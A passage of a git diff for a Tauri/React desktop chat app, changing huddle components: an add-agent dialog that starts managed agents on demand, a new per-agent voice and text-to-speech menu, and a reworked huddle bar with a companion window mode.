   onClose: () => void;
   onAdd: (pubkey: string) => Promise<AgentAddResult>;
   currentAgentPubkeys: string[];
 };
 
 export function AddAgentDialog({
+  open,
   onClose,
   onAdd,
   currentAgentPubkeys,
@@ -41,27 +41,68 @@ export function AddAgentDialog({
   const [warning, setWarning] = React.useState<string | null>(null);
 
   React.useEffect(() => {
+    if (!open) return;
+    let cancelled = false;
+    setAgents([]);
+    setLoading(true);
+    setAdding(null);
+    setError(null);
+    setWarning(null);
+
     invoke<ManagedAgentSummary[]>("list_managed_agents")
-      .then(setAgents)
+      .then((nextAgents) => {
+        if (!cancelled) setAgents(nextAgents);
+      })
       .catch((e: unknown) => {
+        if (cancelled) return;
         console.error("Failed to load agents:", e);
         setError("Could not load agents.");
       })
-      .finally(() => setLoading(false));
-  }, []);
+      .finally(() => {
+        if (!cancelled) setLoading(false);
+      });
+
+    return () => {
+      cancelled = true;
+    };
+  }, [open]);
 
-  // Only show running agents that aren't already in the huddle.
-  const runningAgents = agents.filter(
-    (a) => a.status === "running" && !currentAgentPubkeys.includes(a.pubkey),
+  const availableAgents = agents.filter(
+    (agent) =>
+      !currentAgentPubkeys.some(
+        (pubkey) => pubkey.toLowerCase() === agent.pubkey.toLowerCase(),
+      ),
   );
 
-  async function handleAdd(pubkey: string) {
+  async function handleAdd(agent: ManagedAgentSummary) {
     if (adding) return;
-    setAdding(pubkey);
+    setAdding(agent.pubkey);
     setError(null);
     setWarning(null);
+    let startedForAdd = false;
     try {
-      const result = await onAdd(pubkey);
+      const isLocal = agent.backend.type === "local";
+      const needsStart = isLocal
+        ? agent.status !== "running"
+        : agent.status !== "deployed";
+      if (needsStart && isLocal) {
+        await invoke("start_managed_agent", { pubkey: agent.pubkey });
+        startedForAdd = true;
+      }
+      const result = await onAdd(agent.pubkey);
+      if (needsStart && !isLocal) {
+        try {
+          await invoke("start_managed_agent", { pubkey: agent.pubkey });
+        } catch (startError: unknown) {
+          const msg =
+            startError instanceof Error
+              ? startError.message
+              : String(startError);
+          setWarning(`Added to huddle, but could not start agent: ${msg}`);
+          console.error("Failed to start agent after huddle add:", startError);
+          return;
+        }
+      }
       if (result.parent_error) {
         // Agent was added to the ephemeral channel but parent channel add failed.
         // Show as a warning — don't close the dialog so the user can see it.
@@ -72,6 +113,16 @@ export function AddAgentDialog({
         onClose();
       }
     } catch (e: unknown) {
+      if (startedForAdd) {
+        try {
+          await invoke("stop_managed_agent", { pubkey: agent.pubkey });
+        } catch (rollbackError: unknown) {
+          console.error(
+            "Failed to stop agent after huddle add failed:",
+            rollbackError,
+          );
+        }
+      }
       const msg = e instanceof Error ? e.message : String(e);
       setError(`Failed to add agent: ${msg}`);
       console.error("Failed to add agent to huddle:", e);
@@ -85,76 +136,68 @@ export function AddAgentDialog({
       onOpenChange={(open) => {
         if (!open) onClose();
       }}
-      open
+      open={open}
     >
-      <DialogContent className="flex max-h-[60vh] max-w-sm flex-col gap-0 p-0">
-        <DialogHeader className="border-b px-6 py-4">
-          <DialogTitle>Add Agent to Huddle</DialogTitle>
-          <DialogDescription>
-            Select a running agent to join the huddle.
-          </DialogDescription>
-        </DialogHeader>
-
-        <div className="flex-1 overflow-y-auto px-6 py-4">
-          {error && (
-            <p className="mb-3 rounded-md bg-destructive/10 px-3 py-2 text-sm text-destructive">
-              {error}
-            </p>
-          )}
+      <ChooserDialogContent
+        className="max-w-xl"
+        data-testid="add-huddle-agent-dialog"
+        headerSubtitle="Choose an agent to join this huddle."
+        scrollAreaClassName="space-y-5"
+        title="Add agents"
+      >
+        {error ? (
+          <p className="rounded-lg border border-destructive/30 bg-destructive/10 px-4 py-3 text-sm text-destructive">
+            {error}
+          </p>
+        ) : null}
 
-          {warning && (
-            <div className="mb-3 flex items-start justify-between gap-2 rounded-md bg-amber-500/10 px-3 py-2 text-sm text-amber-700 dark:text-amber-400">
-              <span>{warning}</span>
-              <button
-                className="shrink-0 font-medium underline-offset-2 hover:underline"
-                onClick={onClose}
-                type="button"
-              >
-                Dismiss
-              </button>
-            </div>
-          )}
+        {warning ? (
+          <p className="rounded-lg border border-warning/30 bg-warning-bg px-4 py-3 text-sm text-warning">
+            {warning}
+          </p>
+        ) : null}
 
-          {loading ? (
-            <p className="py-4 text-center text-sm text-muted-foreground">
-              Loading agents…
-            </p>
-          ) : runningAgents.length === 0 ? (
-            <p className="py-4 text-center text-sm text-muted-foreground">
-              {agents.filter((a) => a.status === "running").length > 0
-                ? "All running agents are already in this huddle."
-                : "No running agents found."}
-            </p>
-          ) : (
-            <ul className="flex flex-col gap-1">
-              {runningAgents.map((agent) => (
+        {loading ? (
+          <p className="py-4 text-center text-sm text-muted-foreground">
+            Loading agents…
+          </p>
+        ) : availableAgents.length === 0 ? (
+          <p className="py-4 text-center text-sm text-muted-foreground">
+            All available agents are already in this huddle.
+          </p>
+        ) : (
+          <ul className="flex flex-col gap-1">
+            {availableAgents.map((agent) => {
+              const isAdding = adding === agent.pubkey;
+              return (
                 <li key={agent.pubkey}>
                   <button
-                    className="flex w-full items-center gap-3 rounded-lg px-3 py-2 text-left text-sm transition-colors hover:bg-accent hover:text-accent-foreground disabled:opacity-50"
-                    disabled={adding === agent.pubkey}
-                    onClick={() => void handleAdd(agent.pubkey)}
+                    className="flex w-full items-center gap-3 rounded-lg px-3 py-2.5 text-left transition-colors hover:bg-accent hover:text-accent-foreground disabled:opacity-50"
+                    disabled={adding !== null}
+                    onClick={() => void handleAdd(agent)}
                     type="button"
                   >
-                    <Bot className="h-4 w-4 shrink-0 text-muted-foreground" />
-                    <span className="flex-1 truncate font-medium">
+                    <ProfileAvatar
+                      avatarUrl={agent.avatar_url}
+                      className="h-9 w-9 shrink-0 text-xs"
+                      label={agent.name}
+                    />
+                    <span className="min-w-0 flex-1 truncate text-sm font-medium">
                       {agent.name}
                     </span>
-                    <span className="shrink-0 text-xs text-muted-foreground">
-                      {agent.status}
-                    </span>
+                    {isAdding ? (
+                      <LoaderCircle
+                        aria-label={`Adding ${agent.name}`}
+                        className="h-4 w-4 shrink-0 animate-spin text-muted-foreground"
+                      />
+                    ) : null}
                   </button>
                 </li>
-              ))}
-            </ul>
-          )}
-        </div>
-
-        <div className="border-t px-6 py-4">
-          <Button className="w-full" onClick={onClose} variant="outline">
-            Cancel
-          </Button>
-        </div>
-      </DialogContent>
+              );
+            })}
+          </ul>
+        )}
+      </ChooserDialogContent>
     </Dialog>
   );
 }
diff --git a/desktop/src/features/huddle/components/AgentVoiceMenu.tsx b/desktop/src/features/huddle/components/AgentVoiceMenu.tsx
new file mode 100644
index 0000000000..a44974f7aa
--- /dev/null
+++ b/desktop/src/features/huddle/components/AgentVoiceMenu.tsx
@@ -0,0 +1,186 @@
+import { ChevronDown, MoreVertical } from "lucide-react";
+import * as React from "react";
+
+import type { VoiceRegistryEntry } from "@/features/settings/ui/voiceSettingsLogic";
+import {
+  voiceOptionLabel,
+  voicesForBackend,
+} from "@/features/settings/ui/voiceSettingsLogic";
+import { invokeTauri } from "@/shared/api/tauri";
+import { cn } from "@/shared/lib/cn";
+import { Button } from "@/shared/ui/button";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuTrigger,
+} from "@/shared/ui/dropdown-menu";
+import { Popover, PopoverContent, PopoverTrigger } from "@/shared/ui/popover";
+import { Separator } from "@/shared/ui/separator";
+import { Switch } from "@/shared/ui/switch";
+
+export type HuddleAgentVoiceSettings = {
+  enabled: boolean;
+  voice_key: string;
+};
+
+type AgentVoiceMenuProps = {
+  agentPubkey: string;
+  contentAlign?: React.ComponentProps<typeof PopoverContent>["align"];
+  contentClassName?: string;
+  contentSide?: React.ComponentProps<typeof PopoverContent>["side"];
+  displayName: string;
+  onRemoveAgent?: () => void;
+  registry: VoiceRegistryEntry[];
+  settings: HuddleAgentVoiceSettings | undefined;
+  onSettingsChange: (settings: HuddleAgentVoiceSettings) => void;
+  trigger?: React.ReactElement;
+};
+
+export function AgentVoiceMenu({
+  agentPubkey,
+  contentAlign = "end",
+  contentClassName,
+  contentSide,
+  displayName,
+  onRemoveAgent,
+  registry,
+  settings,
+  onSettingsChange,
+  trigger,
+}: AgentVoiceMenuProps) {
+  const [busy, setBusy] = React.useState(false);
+  const [error, setError] = React.useState<string | null>(null);
+  const voices = voicesForBackend(registry, "pocket");
+  const selectedVoice =
+    voices.find((voice) => voice.key === settings?.voice_key) ?? voices[0];
+
+  const update = React.useCallback(
+    async (
+      command: "set_huddle_agent_tts_enabled" | "set_huddle_agent_voice",
+      payload: Record<string, unknown>,
+    ) => {
+      setBusy(true);
+      setError(null);
+      try {
+        const next = await invokeTauri<HuddleAgentVoiceSettings>(command, {
+          agentPubkey,
+          ...payload,
+        });
+        onSettingsChange(next);
+      } catch (updateError) {
+        setError(
+          updateError instanceof Error
+            ? updateError.message
+            : "Agent voice could not be updated.",
+        );
+      } finally {
+        setBusy(false);
+      }
+    },
+    [agentPubkey, onSettingsChange],
+  );
+
+  return (
+    <Popover>
+      <PopoverTrigger asChild>
+        {trigger ?? (
+          <Button
+            aria-label={`Voice settings for ${displayName}`}
+            className="absolute right-1.5 top-1.5 z-20 h-7 w-7 rounded-md bg-transparent text-muted-foreground shadow-none hover:bg-muted/70 hover:text-foreground"
+            data-testid="huddle-agent-voice-menu-trigger"
+            size="icon"
+            type="button"
+            variant="ghost"
+          >
+            <MoreVertical className="h-4 w-4" />
+          </Button>
+        )}
+      </PopoverTrigger>
+      <PopoverContent
+        align={contentAlign}
+        className={cn("w-64 space-y-3 p-3", contentClassName)}
+        data-testid="huddle-agent-voice-menu-content"
+        side={contentSide}
+        sideOffset={8}
+      >
+        <div className="flex items-center justify-between gap-3">
+          <label
+            className="text-sm font-medium"
+            htmlFor={`agent-tts-${agentPubkey}`}
+          >
+            Agent text-to-speech
+          </label>
+          <Switch
+            checked={settings?.enabled ?? true}
+            data-testid="huddle-agent-tts-toggle"
+            disabled={!settings || busy}
+            id={`agent-tts-${agentPubkey}`}
+            onCheckedChange={(enabled) => {
+              void update("set_huddle_agent_tts_enabled", { enabled });
+            }}
+          />
+        </div>
+
+        {settings?.enabled ? (
+          <div className="flex items-center justify-between gap-4">
+            <span className="text-sm font-medium">Agent voice</span>
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild>
+                <Button
+                  aria-label="Choose agent voice"
+                  className="h-8 shrink-0 gap-1.5 px-2 text-sm text-muted-foreground"
+                  data-testid="huddle-agent-voice-selector"
+                  disabled={busy || voices.length === 0}
+                  size="sm"
+                  type="button"
+                  variant="ghost"
+                >
+                  {selectedVoice
+                    ? voiceOptionLabel(selectedVoice, voices)
+                    : "Unavailable"}
+                  <ChevronDown aria-hidden="true" className="h-3.5 w-3.5" />
+                </Button>
+              </DropdownMenuTrigger>
+              <DropdownMenuContent
+                align="end"
+                className="max-h-72 min-w-40 overflow-y-auto"
+              >
+                <DropdownMenuRadioGroup
+                  onValueChange={(voiceKey) => {
+                    void update("set_huddle_agent_voice", { voiceKey });
+                  }}
+                  value={selectedVoice?.key}
+                >
+                  {voices.map((voice) => (
+                    <DropdownMenuRadioItem key={voice.key} value={voice.key}>
+                      {voiceOptionLabel(voice, voices)}
+                    </DropdownMenuRadioItem>
+                  ))}
+                </DropdownMenuRadioGroup>
+              </DropdownMenuContent>
+            </DropdownMenu>
+          </div>
+        ) : null}
+
+        {onRemoveAgent ? (
+          <>
+            <Separator />
+            <Button
+              aria-label={`Remove ${displayName} from huddle`}
+              className="w-full justify-start text-destructive hover:bg-destructive/10 hover:text-destructive"
+              onClick={onRemoveAgent}
+              type="button"
+              variant="ghost"
+            >
+              Remove from huddle
+            </Button>
+          </>
+        ) : null}
+
+        {error ? <p className="text-xs text-destructive">{error}</p> : null}
+      </PopoverContent>
+    </Popover>
+  );
+}
diff --git a/desktop/src/features/huddle/components/HuddleAttachment.tsx b/desktop/src/features/huddle/components/HuddleAttachment.tsx
index db64e20bd7..76b17eb523 100644
--- a/desktop/src/features/huddle/components/HuddleAttachment.tsx
+++ b/desktop/src/features/huddle/components/HuddleAttachment.tsx
@@ -30,7 +30,6 @@ type HuddleAttachmentProps = {
   channelId: string | null;
   className?: string;
   message: TimelineMessage;
-  onOpenThread?: (message: TimelineMessage) => void;
 };
 
 type HuddleLifecycleState = {
@@ -118,13 +117,18 @@ export function HuddleAttachment({
   channelId,
   className,
   message,
-  onOpenThread,
 }: HuddleAttachmentProps) {
   const ephemeralChannelId = React.useMemo(
     () => parseEphemeralChannelId(message.body),
     [message.body],
   );
-  const { activeEphemeralChannelId, isStarting, joinHuddle } = useHuddle();
+  const {
+    activeEphemeralChannelId,
+    isStarting,
+    joinHuddle,
+    showHuddleInMainApp,
+    viewHuddleChannel,
+  } = useHuddle();
   const queryClient = useQueryClient();
   const [isJoining, setIsJoining] = React.useState(false);
   const [lifecycleState, setLifecycleState] =
@@ -219,7 +223,7 @@ export function HuddleAttachment({
     if (!channelId || !ephemeralChannelId || isJoining || isStarting) return;
     setIsJoining(true);
     try {
-      await joinHuddle(channelId, ephemeralChannelId);
+      await joinHuddle(channelId, ephemeralChannelId, message.id);
       void queryClient.invalidateQueries({ queryKey: ["channels"] });
     } catch (error) {
       toast.error(formatHuddleActionError(error, "join"));
@@ -284,16 +288,22 @@ export function HuddleAttachment({
             <Headphones className="h-4 w-4" />
             {isJoining || isStarting ? "Joining" : "Join"}
           </AttachmentAction>
-        ) : onOpenThread ? (
+        ) : isCurrentHuddle || displayEnded ? (
           <AttachmentAction
-            aria-label="View huddle thread"
-            onClick={() => onOpenThread(message)}
+            aria-label="View huddle"
+            onClick={() => {
+              if (isCurrentHuddle) {
+                showHuddleInMainApp(ephemeralChannelId);
+                return;
+              }
+              viewHuddleChannel(ephemeralChannelId);
+            }}
             size="sm"
             type="button"
             variant="ghost"
           >
             <MessageSquareText className="h-4 w-4" />
-            View thread
+            View
           </AttachmentAction>
         ) : null}
       </AttachmentActions>
diff --git a/desktop/src/features/huddle/components/HuddleBar.tsx b/desktop/src/features/huddle/components/HuddleBar.tsx
index 758726cf58..2bf4c709fe 100644
--- a/desktop/src/features/huddle/components/HuddleBar.tsx
+++ b/desktop/src/features/huddle/components/HuddleBar.tsx
@@ -1,26 +1,25 @@
 import { invoke } from "@tauri-apps/api/core";
 import { listen } from "@tauri-apps/api/event";
+import { getCurrentWindow } from "@tauri-apps/api/window";
 import {
   Bot,
   Captions,
-  MessageSquareText,
   PhoneOff,
+  PictureInPicture,
+  PictureInPicture2,
   SmilePlus,
 } from "lucide-react";
 import * as React from "react";
 
 import { useCustomEmoji } from "@/features/custom-emoji/hooks";
 import { EmojiPicker } from "@/features/custom-emoji/ui/EmojiPicker";
-import { useProfileQuery } from "@/features/profile/hooks";
+import { useProfileQuery, useSelfProfileCache } from "@/features/profile/hooks";
 import { reactionEmojiUrl } from "@/shared/api/customEmoji";
 import { useIdentityQuery } from "@/shared/api/hooks";
 import { relayClient } from "@/shared/api/relayClient";
 import { signRelayEvent } from "@/shared/api/tauri";
 import type { RelayEvent } from "@/shared/api/types";
-import {
-  KIND_HUDDLE_REACTION,
-  KIND_HUDDLE_STARTED,
-} from "@/shared/constants/kinds";
+import { KIND_HUDDLE_REACTION } from "@/shared/constants/kinds";
 import { cn } from "@/shared/lib/cn";
 import { rewriteRelayUrl } from "@/shared/lib/mediaUrl";
 import { Button } from "@/shared/ui/button";
@@ -29,6 +28,7 @@ import { Popover, PopoverContent, PopoverTrigger } from "@/shared/ui/popover";
 import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
 import { useHuddle } from "../HuddleContext";
 import { AddAgentDialog, type AgentAddResult } from "./AddAgentDialog";
+import type { HuddleAgentVoiceSettings } from "./AgentVoiceMenu";
 import { MicControls, SpeakerControls } from "./MicControls";
 import { HuddleParticipantsControl } from "./ParticipantList";
 import { truncatePubkey } from "@/shared/lib/pubkey";
@@ -44,8 +44,10 @@ type HuddleState = {
     | "leaving";
   parent_channel_id: string | null;
   ephemeral_channel_id: string | null;
+  huddle_thread_event_id: string | null;
   participants: string[]; // pubkey hex strings
   agent_pubkeys: string[];
+  agent_voice_settings: Record<string, HuddleAgentVoiceSettings>;
   tts_enabled: boolean;
   transcription_enabled: boolean;
   is_creator: boolean;
@@ -54,6 +56,10 @@ type HuddleState = {
 
 type HuddleBarProps = {
   className?: string;
+  /** The companion window owns the full controls; the main app only opens it. */
+  mode?: "main" | "room";
+  /** Called after the companion window has been opened successfully. */
+  onOpenHuddleWindow?: () => void;
   onOpenThread?: (channelId: string, messageId: string) => void;
   onVisibilityChange?: (visible: boolean) => void;
 };
@@ -62,6 +68,11 @@ const HUDDLE_DRAWER_EXIT_MS = 260;
 const HUDDLE_STATE_FALLBACK_INTERVAL_MS = 30_000;
 const HUDDLE_MODEL_STATUS_INTERVAL_MS = 10_000;
 const HUDDLE_REACTION_NAME_MAX = 48;
+const HEADPHONES_HINT_SEEN_STORAGE_KEY = "buzz.huddle.headphones-hint-seen";
+
+function hasSeenHeadphonesHint() {
+  return window.localStorage.getItem(HEADPHONES_HINT_SEEN_STORAGE_KEY) === "1";
+}
 
 function isVisibleHuddleState(state: HuddleState | null) {
   return state?.phase === "active" || state?.phase === "connected";
@@ -71,17 +82,6 @@ function firstTagValue(event: RelayEvent, name: string): string | null {
   return event.tags.find((tag) => tag[0] === name)?.[1] ?? null;
 }
 
-function parseEphemeralChannelId(content: string): string | null {
-  try {
-    const parsed = JSON.parse(content) as { ephemeral_channel_id?: unknown };
-    return typeof parsed.ephemeral_channel_id === "string"
-      ? parsed.ephemeral_channel_id
-      : null;
-  } catch {
-    return null;
-  }
-}
-
 function customEmojiShortcode(emoji: string): string | null {
   const trimmed = emoji.trim();
   if (!trimmed.startsWith(":") || !trimmed.endsWith(":")) return null;
@@ -146,18 +146,20 @@ function huddleReactionTags(
 
 export function HuddleBar({
   className,
-  onOpenThread,
+  mode = "main",
+  onOpenHuddleWindow,
   onVisibilityChange,
 }: HuddleBarProps) {
   const {
-    localAudioTrack,
     leaveHuddle,
     micConnected,
+    isMuted,
+    toggleMute,
     micLevel,
-    pttActive,
     voiceInputMode,
     setVoiceInputMode,
     activeSpeakers,
+    speakerLevels,
     huddleError,
     clearHuddleError,
     audioDevices,
@@ -172,6 +174,7 @@ export function HuddleBar({
   const customEmoji = useCustomEmoji();
   const identityQuery = useIdentityQuery();
   const profileQuery = useProfileQuery();
+  const selfProfileCache = useSelfProfileCache();
   const { burstHuddleReaction } = useEmojiBurst();
 
   const isPttMode = voiceInputMode === "push_to_talk";
@@ -181,9 +184,9 @@ export function HuddleBar({
   );
   const stateGenerationRef = React.useRef(0);
   const locallyLeavingChannelRef = React.useRef<string | null>(null);
-  const [isMuted, setIsMuted] = React.useState(false);
-  const [headphonesHintDismissed, setHeadphonesHintDismissed] =
-    React.useState(false);
+  const [headphonesHintDismissed, setHeadphonesHintDismissed] = React.useState(
+    hasSeenHeadphonesHint,
+  );
   const [isLeaving, setIsLeaving] = React.useState(false);
   const [showAddAgent, setShowAddAgent] = React.useState(false);
   const [agentAddError, setAgentAddError] = React.useState<string | null>(null);
@@ -192,9 +195,6 @@ export function HuddleBar({
   const [transcriptError, setTranscriptError] = React.useState<string | null>(
     null,
   );
-  const [huddleThreadEventId, setHuddleThreadEventId] = React.useState<
-    string | null
-  >(null);
   const [modelStatus, setModelStatus] = React.useState<{
     stt: string;
     tts: string;
@@ -314,18 +314,42 @@ export function HuddleBar({
     };
   }, [huddlePhase]);
 
-  React.useEffect(() => {
-    if (localAudioTrack) {
-      localAudioTrack.enabled = !isMuted;
-    }
-  }, [isMuted, localAudioTrack]);
-
   const isHuddleVisible = isVisibleHuddleState(state);
+  const companionHadActiveHuddleRef = React.useRef(false);
+  const mainHadActiveHuddleRef = React.useRef(false);
+
+  const dismissHeadphonesHint = React.useCallback(() => {
+    window.localStorage.setItem(HEADPHONES_HINT_SEEN_STORAGE_KEY, "1");
+    setHeadphonesHintDismissed(true);
+  }, []);
 
   React.useEffect(() => {
     onVisibilityChange?.(isHuddleVisible);
   }, [isHuddleVisible, onVisibilityChange]);
 
+  React.useEffect(() => {
+    if (mode !== "room") return;
+    if (isHuddleVisible) {
+      companionHadActiveHuddleRef.current = true;
+      return;
+    }
+    if (companionHadActiveHuddleRef.current) {
+      void getCurrentWindow().close();
+    }
+  }, [isHuddleVisible, mode]);
+
+  React.useEffect(() => {
+    if (mode !== "main") return;
+    if (isHuddleVisible) {
+      mainHadActiveHuddleRef.current = true;
+      return;
+    }
+    if (mainHadActiveHuddleRef.current) {
+      mainHadActiveHuddleRef.current = false;
+      dismissHeadphonesHint();
+    }
+  }, [dismissHeadphonesHint, isHuddleVisible, mode]);
+
   React.useEffect(() => {
     if (isHuddleVisible && state) {
       setRenderedState(state);
@@ -341,8 +365,15 @@ export function HuddleBar({
 
   const barState = isHuddleVisible && state ? state : renderedState;
   const reactionChannelId = barState?.ephemeral_channel_id ?? null;
-  const parentChannelId = barState?.parent_channel_id ?? null;
   const currentPubkey = identityQuery.data?.pubkey ?? null;
+  const participantSpeakerLevels = React.useMemo(() => {
+    const levels = { ...speakerLevels };
+    if (currentPubkey) {
+      levels[currentPubkey.toLowerCase()] =
+        micConnected && !isMuted ? micLevel : 0;
+    }
+    return levels;
+  }, [currentPubkey, isMuted, micConnected, micLevel, speakerLevels]);
   const reactionSenderName = React.useMemo(
     () =>
       clampReactionName(
@@ -404,40 +435,6 @@ export function HuddleBar({
     };
   }, [burstHuddleReaction, currentPubkey, reactionChannelId]);
 
-  React.useEffect(() => {
-    if (!parentChannelId || !reactionChannelId) {
-      setHuddleThreadEventId(null);
-      return;
-    }
-
-    let disposed = false;
-    let cleanup: (() => void) | null = null;
-    setHuddleThreadEventId(null);
-
-    void relayClient
-      .subscribeToHuddleEvents(parentChannelId, (event) => {
-        if (disposed || event.kind !== KIND_HUDDLE_STARTED) return;
-        if (parseEphemeralChannelId(event.content) !== reactionChannelId)
-          return;
-        setHuddleThreadEventId(event.id);
-      })
-      .then((dispose) => {
-        if (disposed) {
-          void dispose();
-          return;
-        }
-        cleanup = () => void dispose();
-      })
-      .catch((error) => {
-        console.error("[huddle] Failed to find huddle thread:", error);
-      });
-
-    return () => {
-      disposed = true;
-      cleanup?.();
-    };
-  }, [parentChannelId, reactionChannelId]);
-
   const handleHuddleReactionSelect = React.useCallback(
     (emoji: string) => {
       const trimmedEmoji = emoji.trim();
@@ -484,9 +481,9 @@ export function HuddleBar({
   }
 
   const isDrawerClosing = !isHuddleVisible;
+  const hasAvailableMic = micConnected;
   const ttsEnabled = barState.tts_enabled;
   const transcriptionEnabled = barState.transcription_enabled;
-
   // Self-removing detection: remote-peer audio plays through native rodio
   // today (outside the WebView render graph), so the browser's AEC has no
   // far-end reference. The AEC follow-up PR flips this constant in the
@@ -503,6 +500,12 @@ export function HuddleBar({
       const backendClean = await leaveHuddle();
       if (backendClean) {
         setState(null);
+        // A companion is the active huddle room, not a persistent transcript
+        // viewer. Close it immediately after it ends instead of depending on
+        // an asynchronous state event to arrive first.
+        if (mode === "room") {
+          void getCurrentWindow().close();
+        }
       } else {
         locallyLeavingChannelRef.current = null;
         stateGenerationRef.current += 1;
@@ -532,9 +535,22 @@ export function HuddleBar({
     }
   }
 
-  function handleOpenThread() {
-    if (!parentChannelId || !huddleThreadEventId) return;
-    onOpenThread?.(parentChannelId, huddleThreadEventId);
+  async function handleOpenHuddleWindow() {
+    try {
+      await invoke("open_huddle_window");
+      dismissHeadphonesHint();
+      onOpenHuddleWindow?.();
+    } catch (error) {
+      console.error("Failed to open huddle window:", error);
+    }
+  }
+
+  async function handleReturnToDrawer() {
+    try {
+      await invoke("close_huddle_companion");
+    } catch (error) {
+      console.error("Failed to return huddle to drawer:", error);
+    }
   }
 
   return (
@@ -601,39 +617,35 @@ export function HuddleBar({
           </span>
         )}
 
-        {showAddAgent && (
-          <AddAgentDialog
-            currentAgentPubkeys={barState.agent_pubkeys}
-            onClose={() => setShowAddAgent(false)}
-            onAdd={async (pubkey: string): Promise<AgentAddResult> => {
-              setAgentAddError(null);
-              try {
-                const result = await invoke<AgentAddResult>(
-                  "add_agent_to_huddle",
-                  { agentPubkey: pubkey },
-                );
-                // Refresh huddle state so the participant list updates immediately.
-                const s = await invoke<HuddleState>("get_huddle_state");
-                setState(s);
-                return result;
-              } catch (e: unknown) {
-                const msg = e instanceof Error ? e.message : String(e);
-                setAgentAddError(`Failed to add agent: ${msg}`);
-                throw e; // Re-throw so AddAgentDialog shows its inline error.
-              }
-            }}
-          />
-        )}
-      </div>
+        <AddAgentDialog
+          currentAgentPubkeys={barState.agent_pubkeys}
+          onClose={() => setShowAddAgent(false)}
+          onAdd={async (pubkey: string): Promise<AgentAddResult> => {
+            setAgentAddError(null);
+            try {
+              const result = await invoke<AgentAddResult>(
+                "add_agent_to_huddle",
+                { agentPubkey: pubkey },
+              );
+              // Refresh huddle state so the participant list updates immediately.
+              const s = await invoke<HuddleState>("get_huddle_state");
+              setState(s);
+              return result;
+            } catch (e: unknown) {
+              const msg = e instanceof Error ? e.message : String(e);
+              setAgentAddError(`Failed to add agent: ${msg}`);
+              throw e; // Re-throw so AddAgentDialog shows its inline error.
+            }
+          }}
+          open={showAddAgent}
+        />
 
-      <div className="flex items-center gap-5 justify-self-center">
-        <div className="flex items-center gap-2">
+        <div className="flex shrink-0 items-center gap-2">
           <MicControls
             isMuted={isMuted}
-            onToggleMute={() => setIsMuted((m) => !m)}
+            onToggleMute={toggleMute}
             isPttMode={isPttMode}
-            pttActive={pttActive}
-            micConnected={micConnected}
+            micConnected={hasAvailableMic}
             micLevel={micLevel}
             onSelectVoiceInputMode={setVoiceInputMode}
             audioDevices={audioDevices}
@@ -646,9 +658,12 @@ export function HuddleBar({
           <SpeakerControls
             ttsEnabled={ttsEnabled}
             showHeadphonesHint={
-              aecMissing && !headphonesHintDismissed && !isDrawerClosing
+              mode === "main" &&
+              aecMissing &&
+              !headphonesHintDismissed &&
+              !isDrawerClosing
             }
-            onHeadphonesHintDismiss={() => setHeadphonesHintDismissed(true)}
+            onHeadphonesHintDismiss={dismissHeadphonesHint}
             onToggleTts={async () => {
               try {
                 await invoke("set_tts_enabled", { enabled: !ttsEnabled });
@@ -663,60 +678,56 @@ export function HuddleBar({
             onSelectOutputDevice={setSelectedOutputDevice}
           />
 
-          <Tooltip>
-            <TooltipTrigger asChild>
-              <Button
-                aria-label="View huddle thread"
-                className="buzz-huddle-control-button h-12 w-12 shrink-0 rounded-md"
-                disabled={!parentChannelId || !huddleThreadEventId}
-                onClick={handleOpenThread}
-                size="icon"
-                type="button"
-                variant="secondary"
-              >
-                <MessageSquareText className="h-4 w-4" />
-              </Button>
-            </TooltipTrigger>
-            <TooltipContent className="buzz-huddle-tooltip" side="top">
-              View thread
-            </TooltipContent>
-          </Tooltip>
+          {mode === "main" ? (
+            <HuddleParticipantsControl
+              participants={barState.participants}
+              activeSpeakers={activeSpeakers}
+              speakerLevels={participantSpeakerLevels}
+              agentPubkeys={barState.agent_pubkeys}
+              agentVoiceSettings={barState.agent_voice_settings}
+              selfProfile={{
+                avatarUrl:
+                  profileQuery.data?.avatarUrl ??
+                  selfProfileCache?.avatarDataUrl ??
+                  null,
+                displayName:
+                  profileQuery.data?.displayName ??
+                  identityQuery.data?.displayName ??
+                  null,
+                pubkey: currentPubkey,
+              }}
+              onRemoveAgent={async (pubkey) => {
+                const confirmed = window.confirm(
+                  "Remove this agent from the huddle?",
+                );
+                if (!confirmed) return;
+                try {
+                  await invoke("remove_agent_from_huddle", {
+                    agentPubkey: pubkey,
+                  });
+                  setState((prev) => {
+                    if (!prev) return prev;
+                    return {
+                      ...prev,
+                      participants: prev.participants.filter(
+                        (p) => p !== pubkey,
+                      ),
+                      agent_pubkeys: prev.agent_pubkeys.filter(
+                        (p) => p !== pubkey,
+                      ),
+                    };
+                  });
+                } catch (e) {
+                  console.error("Failed to remove agent from huddle:", e);
+                }
+              }}
+            />
+          ) : null}
         </div>
+      </div>
 
+      <div className="flex shrink-0 items-center gap-2 justify-self-center">
         <div className="flex items-center gap-2">
-          <HuddleParticipantsControl
-            participants={barState.participants}
-            activeSpeakers={activeSpeakers}
-            agentPubkeys={barState.agent_pubkeys}
-            onRemoveAgent={async (pubkey) => {
-              if (!barState.ephemeral_channel_id) return;
-              const confirmed = window.confirm(
-                "Remove this agent from the huddle?",
-              );
-              if (!confirmed) return;
-              try {
-                await invoke("remove_channel_member", {
-                  channelId: barState.ephemeral_channel_id,
-                  pubkey,
-                });
-                // Optimistically remove from local state — the backend's
-                // 15s membership poll will eventually converge.
-                setState((prev) => {
-                  if (!prev) return prev;
-                  return {
-                    ...prev,
-                    participants: prev.participants.filter((p) => p !== pubkey),
-                    agent_pubkeys: prev.agent_pubkeys.filter(
-                      (p) => p !== pubkey,
-                    ),
-                  };
-                });
-              } catch (e) {
-                console.error("Failed to remove agent from huddle:", e);
-              }
-            }}
-          />
-
           <Popover
             onOpenChange={setIsReactionPickerOpen}
             open={isReactionPickerOpen}
@@ -792,33 +803,64 @@ export function HuddleBar({
             </TooltipContent>
           </Tooltip>
         </div>
-
-        <Tooltip>
-          <TooltipTrigger asChild>
-            <Button
-              aria-label="Leave huddle"
-              className="h-12 gap-2 px-4"
-              disabled={isLeaving}
-              aria-busy={isLeaving}
-              onClick={() => void handleLeave()}
-              size="sm"
-              variant="destructive"
-            >
-              <PhoneOff className="h-4 w-4" />
-              Leave
-            </Button>
-          </TooltipTrigger>
-          <TooltipContent className="buzz-huddle-tooltip">
-            Leave huddle
-          </TooltipContent>
-        </Tooltip>
       </div>
 
-      <div aria-hidden="true" className="min-w-0" />
